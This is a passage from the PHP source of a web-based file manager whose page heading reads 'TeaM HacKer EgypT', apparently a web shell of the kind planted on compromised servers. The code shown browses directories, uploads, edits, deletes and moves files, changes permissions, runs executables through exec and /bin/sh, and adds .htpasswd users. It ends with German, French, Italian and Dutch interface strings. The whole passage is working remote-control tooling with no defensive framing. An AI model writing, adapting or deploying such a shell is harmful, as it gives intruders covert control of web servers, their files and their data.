  1028.         } else {
  1029.             return false;
  1030.         }
  1031.  
  1032.     } else {
  1033.         return @unlink($file);
  1034.     }
  1035.  
  1036. }
  1037.  
  1038. function addslash ($directory) {
  1039.     global $delim;
  1040.  
  1041.     if (substr($directory, -1, 1) != $delim) {
  1042.         return $directory . $delim;
  1043.     } else {
  1044.         return $directory;
  1045.     }
  1046.  
  1047. }
  1048.  
  1049. function relative2absolute ($string, $directory) {
  1050.  
  1051.     if (path_is_relative($string)) {
  1052.         return simplify_path(addslash($directory) . $string);
  1053.     } else {
  1054.         return simplify_path($string);
  1055.     }
  1056.  
  1057. }
  1058.  
  1059. function path_is_relative ($path) {
  1060.     global $win;
  1061.  
  1062.     if ($win) {
  1063.         return (substr($path, 1, 1) != ':');
  1064.     } else {
  1065.         return (substr($path, 0, 1) != '/');
  1066.     }
  1067.  
  1068. }
  1069.  
  1070. function absolute2relative ($directory, $target) {
  1071.     global $delim;
  1072.  
  1073.     $path = '';
  1074.     while ($directory != $target) {
  1075.         if ($directory == substr($target, 0, strlen($directory))) {
  1076.             $path .= substr($target, strlen($directory));
  1077.             break;
  1078.         } else {
  1079.             $path .= '..' . $delim;
  1080.             $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
  1081.         }
  1082.     }
  1083.     if ($path == '') $path = '.';
  1084.  
  1085.     return $path;
  1086.  
  1087. }
  1088.  
  1089. function simplify_path ($path) {
  1090.     global $delim;
  1091.  
  1092.     if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
  1093.         $path = realpath($path);
  1094.         if (@is_dir($path)) {
  1095.             return addslash($path);
  1096.         } else {
  1097.             return $path;
  1098.         }
  1099.     }
  1100.  
  1101.     $pattern  = $delim . '.' . $delim;
  1102.  
  1103.     if (@is_dir($path)) {
  1104.         $path = addslash($path);
  1105.     }
  1106.  
  1107.     while (strpos($path, $pattern) !== false) {
  1108.         $path = str_replace($pattern, $delim, $path);
  1109.     }
  1110.  
  1111.     $e = addslashes($delim);
  1112.     $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
  1113.  
  1114.     while (ereg($regex, $path)) {
  1115.         $path = ereg_replace($regex, $delim, $path);
  1116.     }
  1117.    
  1118.     return $path;
  1119.  
  1120. }
  1121.  
  1122. function human_filesize ($filesize) {
  1123.  
  1124.     $suffices = 'kMGTPE';
  1125.  
  1126.     $n = 0;
  1127.     while ($filesize >= 1000) {
  1128.         $filesize /= 1024;
  1129.         $n++;
  1130.     }
  1131.  
  1132.     $filesize = round($filesize, 3 - strpos($filesize, '.'));
  1133.  
  1134.     if (strpos($filesize, '.') !== false) {
  1135.         while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
  1136.             $filesize = substr($filesize, 0, strlen($filesize) - 1);
  1137.         }
  1138.     }
  1139.  
  1140.     $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
  1141.  
  1142.     return $filesize . " {$suffix}B";
  1143.  
  1144. }
  1145.  
  1146. function strip (&$str) {
  1147.     $str = stripslashes($str);
  1148. }
  1149.  
  1150. /* ------------------------------------------------------------------------- */
  1151.  
  1152. function listing_page ($message = null) {
  1153.     global $self, $directory, $sort, $reverse;
  1154.  
  1155.     html_header();
  1156.  
  1157.     $list = getlist($directory);
  1158.  
  1159.     if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
  1160.     if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
  1161.  
  1162.     sortlist($list, $sort, $reverse);
  1163.  
  1164.     echo '<h1 style="margin-bottom: 0">TeaM HacKer EgypT</h1>
  1165.  
  1166. <form enctype="multipart/form-data" action="' . $self . '" method="post">
  1167.  
  1168. <table id="main">
  1169. ';
  1170.  
  1171.     directory_choice();
  1172.  
  1173.     if (!empty($message)) {
  1174.         spacer();
  1175.         echo $message;
  1176.     }
  1177.  
  1178.     if (@is_writable($directory)) {
  1179.         upload_box();
  1180.         create_box();
  1181.     } else {
  1182.         spacer();
  1183.     }
  1184.  
  1185.     if ($list) {
  1186.         listing($list);
  1187.     } else {
  1188.         echo error('not_readable', $directory);
  1189.     }
  1190.  
  1191.     echo '</table>
  1192.  
  1193. </form>
  1194.  
  1195. ';
  1196.  
  1197.     html_footer();
  1198.  
  1199. }
  1200.  
  1201. function listing ($list) {
  1202.     global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
  1203.  
  1204.     echo '<tr class="listing">
  1205.     <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
  1206. ';
  1207.  
  1208.     $d = 'dir=' . urlencode($directory) . '&amp;';
  1209.  
  1210.     if (!$reverse && $sort == 'filename') $r = '&amp;reverse=true'; else $r = '';
  1211.     echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";
  1212.  
  1213.     if (!$reverse && $sort == 'size') $r = '&amp;reverse=true'; else $r = '';
  1214.     echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";
  1215.  
  1216.     if (!$win) {
  1217.  
  1218.         if (!$reverse && $sort == 'permission') $r = '&amp;reverse=true'; else $r = '';
  1219.         echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";
  1220.  
  1221.         if (!$reverse && $sort == 'owner') $r = '&amp;reverse=true'; else $r = '';
  1222.         echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";
  1223.  
  1224.         if (!$reverse && $sort == 'group') $r = '&amp;reverse=true'; else $r = '';
  1225.         echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";
  1226.  
  1227.     }
  1228.  
  1229.     echo '  <th class="functions">' . word('functions') . '</th>
  1230. </tr>
  1231. ';
  1232.  
  1233.     for ($i = 0; $i < sizeof($list); $i++) {
  1234.         $file = $list[$i];
  1235.  
  1236.         $timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
  1237.         $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
  1238.         $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
  1239.  
  1240.         echo '<tr class="listing">
  1241.     <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
  1242.     <td class="filename" title="' . html($timestamps) . '">';
  1243.  
  1244.         if ($file['is_link']) {
  1245.  
  1246.             echo '<img src="' . $self . '?image=link" alt="link" /> ';
  1247.             echo html($file['filename']) . ' &rarr; ';
  1248.  
  1249.             $real_file = relative2absolute($file['target'], $directory);
  1250.  
  1251.             if (@is_readable($real_file)) {
  1252.                 if (@is_dir($real_file)) {
  1253.                     echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
  1254.                 } else {
  1255.                     echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
  1256.                 }
  1257.             } else {
  1258.                 echo html($file['target']);
  1259.             }
  1260.  
  1261.         } elseif ($file['is_dir']) {
  1262.  
  1263.             echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
  1264.             if ($win || $file['is_executable']) {
  1265.                 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1266.             } else {
  1267.                 echo html($file['filename']);
  1268.             }
  1269.             echo ' ]';
  1270.  
  1271.         } else {
  1272.  
  1273.             if (substr($file['filename'], 0, 1) == '.') {
  1274.                 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
  1275.             } else {
  1276.                 echo '<img src="' . $self . '?image=file" alt="file" /> ';
  1277.             }
  1278.  
  1279.             if ($file['is_file'] && $file['is_readable']) {
  1280.                echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1281.             } else {
  1282.                 echo html($file['filename']);
  1283.             }
  1284.  
  1285.         }
  1286.  
  1287.         if ($file['size'] >= 1000) {
  1288.             $human = ' title="' . human_filesize($file['size']) . '"';
  1289.         } else {
  1290.             $human = '';
  1291.         }
  1292.  
  1293.         echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
  1294.  
  1295.         if (!$win) {
  1296.  
  1297.             echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
  1298.  
  1299.             $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
  1300.             if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
  1301.             echo html(permission_octal2string($file['permission']));
  1302.             if ($l) echo '</a>';
  1303.  
  1304.             echo "</td>\n";
  1305.  
  1306.             if (array_key_exists('owner_name', $file)) {
  1307.                 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
  1308.             } else {
  1309.                 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
  1310.             }
  1311.  
  1312.             if (array_key_exists('group_name', $file)) {
  1313.                 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
  1314.             } else {
  1315.                 echo "\t<td class=\"group\">{$file['group']}</td>\n";
  1316.             }
  1317.  
  1318.         }
  1319.  
  1320.         echo '  <td class="functions">
  1321.         <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
  1322. ';
  1323.  
  1324.         $actions = array();
  1325.         if (function_exists('symlink')) {
  1326.             $actions[] = 'create_symlink';
  1327.         }
  1328.         if (@is_writable(dirname($file['path']))) {
  1329.             $actions[] = 'delete';
  1330.             $actions[] = 'rename';
  1331.             $actions[] = 'move';
  1332.         }
  1333.         if ($file['is_file'] && $file['is_readable']) {
  1334.             $actions[] = 'copy';
  1335.             $actions[] = 'download';
  1336.             if ($file['is_writable']) $actions[] = 'edit';
  1337.         }
  1338.         if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
  1339.             $actions[] = 'execute';
  1340.         }
  1341.  
  1342.         if (sizeof($actions) > 0) {
  1343.  
  1344.             echo '      <select class="small" name="action' . $i . '" size="1">
  1345.         <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1346. ';
  1347.  
  1348.             foreach ($actions as $action) {
  1349.                 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1350.             }
  1351.  
  1352.             echo '      </select>
  1353.         <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
  1354. ';
  1355.  
  1356.         }
  1357.  
  1358.         echo '  </td>
  1359. </tr>
  1360. ';
  1361.  
  1362.     }
  1363.  
  1364.     echo '<tr class="listing_footer">
  1365.     <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
  1366.     <td colspan="' . ($cols - 1) . '">
  1367.         <input type="hidden" name="num" value="' . sizeof($list) . '" />
  1368.         <input type="hidden" name="focus" value="" />
  1369.         <input type="hidden" name="olddir" value="' . html($directory) . '" />
  1370. ';
  1371.  
  1372.     $actions = array();
  1373.     if (@is_writable(dirname($file['path']))) {
  1374.         $actions[] = 'delete';
  1375.         $actions[] = 'move';
  1376.     }
  1377.     $actions[] = 'copy';
  1378.  
  1379.     echo '      <select class="small" name="action_all" size="1">
  1380.         <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1381. ';
  1382.  
  1383.     foreach ($actions as $action) {
  1384.         echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1385.     }
  1386.  
  1387.     echo '      </select>
  1388.         <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
  1389.     </td>
  1390. </tr>
  1391. ';
  1392.  
  1393. }
  1394.  
  1395. function directory_choice () {
  1396.     global $directory, $homedir, $cols, $self;
  1397.  
  1398.     echo '<tr>
  1399.     <td colspan="' . $cols . '" id="directory">
  1400.         <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
  1401.         <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
  1402.         <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
  1403.     </td>
  1404. </tr>
  1405. ';
  1406.  
  1407. }
  1408.  
  1409. function upload_box () {
  1410.     global $cols;
  1411.  
  1412.     echo '<tr>
  1413.     <td colspan="' . $cols . '" id="upload">
  1414.         ' . word('file') . ':
  1415.         <input type="file" name="upload" onfocus="activate(\'other\')" />
  1416.         <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
  1417.     </td>
  1418. </tr>
  1419. ';
  1420.  
  1421. }
  1422.  
  1423. function create_box () {
  1424.     global $cols;
  1425.  
  1426.     echo '<tr>
  1427.     <td colspan="' . $cols . '" id="create">
  1428.         <select name="create_type" size="1" onfocus="activate(\'create\')">
  1429.         <option value="file">' . word('file') . '</option>
  1430.         <option value="directory">' . word('directory') . '</option>
  1431.         </select>
  1432.         <input type="text" name="create_name" onfocus="activate(\'create\')" />
  1433.         <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
  1434.     </td>
  1435. </tr>
  1436. ';
  1437.  
  1438. }
  1439.  
  1440. function edit ($file) {
  1441.     global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
  1442.  
  1443.     html_header();
  1444.  
  1445.     echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
  1446.  
  1447. <form action="' . $self . '" method="post">
  1448.  
  1449. <table class="dialog">
  1450. <tr>
  1451. <td class="dialog">
  1452.  
  1453.     <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
  1454.  
  1455.     if (array_key_exists('content', $_POST)) {
  1456.         echo $_POST['content'];
  1457.     } else {
  1458.         $f = fopen($file, 'r');
  1459.         while (!feof($f)) {
  1460.             echo html(fread($f, 8192));
  1461.         }
  1462.         fclose($f);
  1463.     }
  1464.  
  1465.     if (!empty($_POST['user'])) {
  1466.         echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
  1467.     }
  1468.     if (!empty($_POST['basic_auth'])) {
  1469.         if ($win) {
  1470.             $authfile = str_replace('\\', '/', $directory) . $htpasswd;
  1471.         } else {
  1472.             $authfile = $directory . $htpasswd;
  1473.         }
  1474.         echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
  1475.         echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
  1476.         echo 'Require valid-user';
  1477.     }
  1478.  
  1479.     echo '</textarea>
  1480.  
  1481.     <hr />
  1482. ';
  1483.  
  1484.     if ($apache && basename($file) == $htpasswd) {
  1485.         echo '
  1486.     ' . word('user') . ': <input type="text" name="user" />
  1487.     ' . word('password') . ': <input type="password" name="password" />
  1488.     <input type="submit" value="' . word('add') . '" />
  1489.  
  1490.     <hr />
  1491. ';
  1492.  
  1493.     }
  1494.  
  1495.     if ($apache && basename($file) == $htaccess) {
  1496.         echo '
  1497.     <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
  1498.  
  1499.     <hr />
  1500. ';
  1501.  
  1502.     }
  1503.  
  1504.     echo '
  1505.     <input type="hidden" name="action" value="edit" />
  1506.     <input type="hidden" name="file" value="' . html($file) . '" />
  1507.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  1508.     <input type="reset" value="' . word('reset') . '" id="red_button" />
  1509.     <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
  1510.  
  1511. </td>
  1512. </tr>
  1513. </table>
  1514.  
  1515. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  1516.  
  1517. </form>
  1518.  
  1519. ';
  1520.  
  1521.     html_footer();
  1522.  
  1523. }
  1524.  
  1525. function spacer () {
  1526.     global $cols;
  1527.  
  1528.     echo '<tr>
  1529.     <td colspan="' . $cols . '" style="height: 1em"></td>
  1530. </tr>
  1531. ';
  1532.  
  1533. }
  1534.  
  1535. function textfieldsize ($content) {
  1536.  
  1537.     $size = strlen($content) + 5;
  1538.     if ($size < 30) $size = 30;
  1539.  
  1540.     return $size;
  1541.  
  1542. }
  1543.  
  1544. function request_dump () {
  1545.  
  1546.     foreach ($_REQUEST as $key => $value) {
  1547.         echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
  1548.     }
  1549.  
  1550. }
  1551.  
  1552. /* ------------------------------------------------------------------------- */
  1553.  
  1554. function html ($string) {
  1555.     global $site_charset;
  1556.     return htmlentities($string, ENT_COMPAT, $site_charset);
  1557. }
  1558.  
  1559. function word ($word) {
  1560.     global $words, $word_charset;
  1561.     return htmlentities($words[$word], ENT_COMPAT, $word_charset);
  1562. }
  1563.  
  1564. function phrase ($phrase, $arguments) {
  1565.     global $words;
  1566.     static $search;
  1567.  
  1568.     if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
  1569.  
  1570.     for ($i = 0; $i < sizeof($arguments); $i++) {
  1571.         $arguments[$i] = nl2br(html($arguments[$i]));
  1572.     }
  1573.  
  1574.     $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
  1575.  
  1576.     return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
  1577.  
  1578. }
  1579.  
  1580. function getwords ($lang) {
  1581.     global $word_charset, $date_format;
  1582.  
  1583.     switch ($lang) {
  1584.     case 'de':
  1585.  
  1586.         $date_format = 'd.m.y H:i:s';
  1587.         $word_charset = 'ISO-8859-1';
  1588.  
  1589.         return array(
  1590. 'directory' => 'Verzeichnis',
  1591. 'file' => 'Datei',
  1592. 'filename' => 'Dateiname',
  1593.  
  1594. 'size' => 'Grö�e',
  1595. 'permission' => 'Rechte',
  1596. 'owner' => 'Eigner',
  1597. 'group' => 'Gruppe',
  1598. 'other' => 'Andere',
  1599. 'functions' => 'Funktionen',
  1600.  
  1601. 'read' => 'lesen',
  1602. 'write' => 'schreiben',
  1603. 'execute' => 'ausführen',
  1604.  
  1605. 'create_symlink' => 'Symlink erstellen',
  1606. 'delete' => 'löschen',
  1607. 'rename' => 'umbenennen',
  1608. 'move' => 'verschieben',
  1609. 'copy' => 'kopieren',
  1610. 'edit' => 'editieren',
  1611. 'download' => 'herunterladen',
  1612. 'upload' => 'hochladen',
  1613. 'create' => 'erstellen',
  1614. 'change' => 'wechseln',
  1615. 'save' => 'speichern',
  1616. 'set' => 'setze',
  1617. 'reset' => 'zurücksetzen',
  1618. 'relative' => 'Pfad zum Ziel relativ',
  1619.  
  1620. 'yes' => 'Ja',
  1621. 'no' => 'Nein',
  1622. 'back' => 'zurück',
  1623. 'destination' => 'Ziel',
  1624. 'symlink' => 'Symbolischer Link',
  1625. 'no_output' => 'keine Ausgabe',
  1626.  
  1627. 'user' => 'Benutzername',
  1628. 'password' => 'Kennwort',
  1629. 'add' => 'hinzufügen',
  1630. 'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
  1631.  
  1632. 'uploaded' => '"[%1]" wurde hochgeladen.',
  1633. 'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
  1634. 'already_exists' => '"[%1]" existiert bereits.',
  1635. 'created' => '"[%1]" wurde erstellt.',
  1636. 'not_created' => '"[%1]" konnte nicht erstellt werden.',
  1637. 'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
  1638. 'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
  1639. 'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
  1640. 'rename_file' => 'Benenne Datei um:',
  1641. 'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
  1642. 'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
  1643. 'move_files' => 'Verschieben folgende Dateien:',
  1644. 'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
  1645. 'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
  1646. 'copy_files' => 'Kopiere folgende Dateien:',
  1647. 'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
  1648. 'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
  1649. 'not_edited' => '"[%1]" kann nicht editiert werden.',
  1650. 'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
  1651. 'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
  1652. 'saved' => '"[%1]" wurde gespeichert.',
  1653. 'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
  1654. 'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
  1655. 'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
  1656. 'permission_for' => 'Rechte für "[%1]":',
  1657. 'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
  1658. 'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
  1659. 'not_readable' => '"[%1]" kann nicht gelesen werden.'
  1660.         );
  1661.  
  1662.     case 'fr':
  1663.  
  1664.         $date_format = 'd.m.y H:i:s';
  1665.         $word_charset = 'ISO-8859-1';
  1666.  
  1667.         return array(
  1668. 'directory' => 'Répertoire',
  1669. 'file' => 'Fichier',
  1670. 'filename' => 'Nom fichier',
  1671.  
  1672. 'size' => 'Taille',
  1673. 'permission' => 'Droits',
  1674. 'owner' => 'Propriétaire',
  1675. 'group' => 'Groupe',
  1676. 'other' => 'Autres',
  1677. 'functions' => 'Fonctions',
  1678.  
  1679. 'read' => 'Lire',
  1680. 'write' => 'Ecrire',
  1681. 'execute' => 'Exécuter',
  1682.  
  1683. 'create_symlink' => 'Créer lien symbolique',
  1684. 'delete' => 'Effacer',
  1685. 'rename' => 'Renommer',
  1686. 'move' => 'Déplacer',
  1687. 'copy' => 'Copier',
  1688. 'edit' => 'Ouvrir',
  1689. 'download' => 'Télécharger sur PC',
  1690. 'upload' => 'Télécharger sur serveur',
  1691. 'create' => 'Créer',
  1692. 'change' => 'Changer',
  1693. 'save' => 'Sauvegarder',
  1694. 'set' => 'Exécuter',
  1695. 'reset' => 'Réinitialiser',
  1696. 'relative' => 'Relatif',
  1697.  
  1698. 'yes' => 'Oui',
  1699. 'no' => 'Non',
  1700. 'back' => 'Retour',
  1701. 'destination' => 'Destination',
  1702. 'symlink' => 'Lien symbollique',
  1703. 'no_output' => 'Pas de sortie',
  1704.  
  1705. 'user' => 'Utilisateur',
  1706. 'password' => 'Mot de passe',
  1707. 'add' => 'Ajouter',
  1708. 'add_basic_auth' => 'add basic-authentification',
  1709.  
  1710. 'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
  1711. 'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
  1712. 'already_exists' => '"[%1]" existe déjà .',
  1713. 'created' => '"[%1]" a été créé.',
  1714. 'not_created' => '"[%1]" n a pas pu être créé.',
  1715. 'really_delete' => 'Effacer le fichier?',
  1716. 'deleted' => "Ces fichiers ont été détuits:\n[%1]",
  1717. 'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
  1718. 'rename_file' => 'Renomme fichier:',
  1719. 'renamed' => '"[%1]" a été renommé en "[%2]".',
  1720. 'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
  1721. 'move_files' => 'Déplacer ces fichiers:',
  1722. 'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
  1723. 'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
  1724. 'copy_files' => 'Copier ces fichiers:',
  1725. 'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
  1726. 'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
  1727. 'not_edited' => '"[%1]" ne peut être ouvert.',
  1728. 'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
  1729. 'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
  1730. 'saved' => '"[%1]" a été sauvegardé.',
  1731. 'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
  1732. 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
  1733. 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
  1734. 'permission_for' => 'Droits de "[%1]":',
  1735. 'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
  1736. 'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
  1737. 'not_readable' => '"[%1]" ne peut pas être ouvert.'
  1738.         );
  1739.  
  1740.     case 'it':
  1741.  
  1742.         $date_format = 'd-m-Y H:i:s';
  1743.         $word_charset = 'ISO-8859-1';
  1744.  
  1745.         return array(
  1746. 'directory' => 'Directory',
  1747. 'file' => 'File',
  1748. 'filename' => 'Nome File',
  1749.  
  1750. 'size' => 'Dimensioni',
  1751. 'permission' => 'Permessi',
  1752. 'owner' => 'Proprietario',
  1753. 'group' => 'Gruppo',
  1754. 'other' => 'Altro',
  1755. 'functions' => 'Funzioni',
  1756.  
  1757. 'read' => 'leggi',
  1758. 'write' => 'scrivi',
  1759. 'execute' => 'esegui',
  1760.  
  1761. 'create_symlink' => 'crea link simbolico',
  1762. 'delete' => 'cancella',
  1763. 'rename' => 'rinomina',
  1764. 'move' => 'sposta',
  1765. 'copy' => 'copia',
  1766. 'edit' => 'modifica',
  1767. 'download' => 'download',
  1768. 'upload' => 'upload',
  1769. 'create' => 'crea',
  1770. 'change' => 'cambia',
  1771. 'save' => 'salva',
  1772. 'set' => 'imposta',
  1773. 'reset' => 'reimposta',
  1774. 'relative' => 'Percorso relativo per la destinazione',
  1775.  
  1776. 'yes' => 'Si',
  1777. 'no' => 'No',
  1778. 'back' => 'indietro',
  1779. 'destination' => 'Destinazione',
  1780. 'symlink' => 'Link simbolico',
  1781. 'no_output' => 'no output',
  1782.  
  1783. 'user' => 'User',
  1784. 'password' => 'Password',
  1785. 'add' => 'aggiungi',
  1786. 'add_basic_auth' => 'aggiungi autenticazione base',
  1787.  
  1788. 'uploaded' => '"[%1]" è stato caricato.',
  1789. 'not_uploaded' => '"[%1]" non è stato caricato.',
  1790. 'already_exists' => '"[%1]" esiste già .',
  1791. 'created' => '"[%1]" è stato creato.',
  1792. 'not_created' => '"[%1]" non è stato creato.',
  1793. 'really_delete' => 'Cancello questi file ?',
  1794. 'deleted' => "Questi file sono stati cancellati:\n[%1]",
  1795. 'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
  1796. 'rename_file' => 'File rinominato:',
  1797. 'renamed' => '"[%1]" è stato rinominato in "[%2]".',
  1798. 'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
  1799. 'move_files' => 'Sposto questi file:',
  1800. 'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
  1801. 'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
  1802. 'copy_files' => 'Copio questi file',
  1803. 'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
  1804. 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
  1805. 'not_edited' => '"[%1]" non può essere modificato.',
  1806. 'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
  1807. 'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
  1808. 'saved' => '"[%1]" è stato salvato.',
  1809. 'not_saved' => '"[%1]" non è stato salvato.',
  1810. 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
  1811. 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
  1812. 'permission_for' => 'Permessi di "[%1]":',
  1813. 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
  1814. 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
  1815. 'not_readable' => '"[%1]" non può essere letto.'
  1816.         );
  1817.  
  1818.     case 'nl':
  1819.  
  1820.         $date_format = 'n/j/y H:i:s';
  1821.         $word_charset = 'ISO-8859-1';
  1822.  
  1823.         return array(
  1824. 'directory' => 'Directory',
  1825. 'file' => 'Bestand',
  1826. 'filename' => 'Bestandsnaam',
  1827.  
  1828. 'size' => 'Grootte',
  1829. 'permission' => 'Bevoegdheid',
  1830. 'owner' => 'Eigenaar',
  1831. 'group' => 'Groep',
  1832. 'other' => 'Anderen',
  1833. 'functions' => 'Functies',
  1834.  
  1835. 'read' => 'lezen',
  1836. 'write' => 'schrijven',
  1837. 'execute' => 'uitvoeren',
  1838.  
  1839. 'create_symlink' => 'maak symlink',
  1840. 'delete' => 'verwijderen',
  1841. 'rename' => 'hernoemen',
  1842. 'move' => 'verplaatsen',
  1843. 'copy' => 'kopieren',
  1844. 'edit' => 'bewerken',
  1845. 'download' => 'downloaden',
  1846. 'upload' => 'uploaden',
  1847. 'create' => 'aanmaken',
  1848. 'change' => 'veranderen',
  1849. 'save' => 'opslaan',
  1850. 'set' => 'instellen',
  1851. 'reset' => 'resetten',
  1852. 'relative' => 'Relatief pat naar doel',
  1853.  
  1854. 'yes' => 'Ja',
  1855. 'no' => 'Nee',
  1856. 'back' => 'terug',
  1857. 'destination' => 'Bestemming',
  1858. 'symlink' => 'Symlink',
  1859. 'no_output' => 'geen output',
  1860.  
  1861. 'user' => 'Gebruiker',
